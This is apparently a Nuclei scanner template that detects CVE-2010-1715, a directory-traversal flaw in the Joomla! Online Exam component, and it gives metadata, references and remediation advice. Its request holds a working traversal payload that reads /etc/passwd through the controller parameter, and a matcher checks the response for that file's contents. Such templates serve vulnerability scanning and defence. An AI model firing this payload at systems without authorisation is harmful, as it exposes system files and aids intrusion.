id: CVE-2010-1715

info:
  name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  remediation: |
    Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/12174
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1715
    - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57677
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1715
    cwe-id: CWE-22
    epss-score: 0.02144
    epss-percentile: 0.83517
    cpe: cpe:2.3:a:pucit.edu:com_onlineexam:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pucit.edu
    product: com_onlineexam
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,pucit.edu

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440221009683d24b8041bb102224be0289d40bc4bee5e2b06efad5b5f45898fdf5414ceb021f30a7a6053bbf96f3ab275d63fb8eba78116cd7af1e947511704277cadd58c6:922c64590222798bb761d5b6d8e72950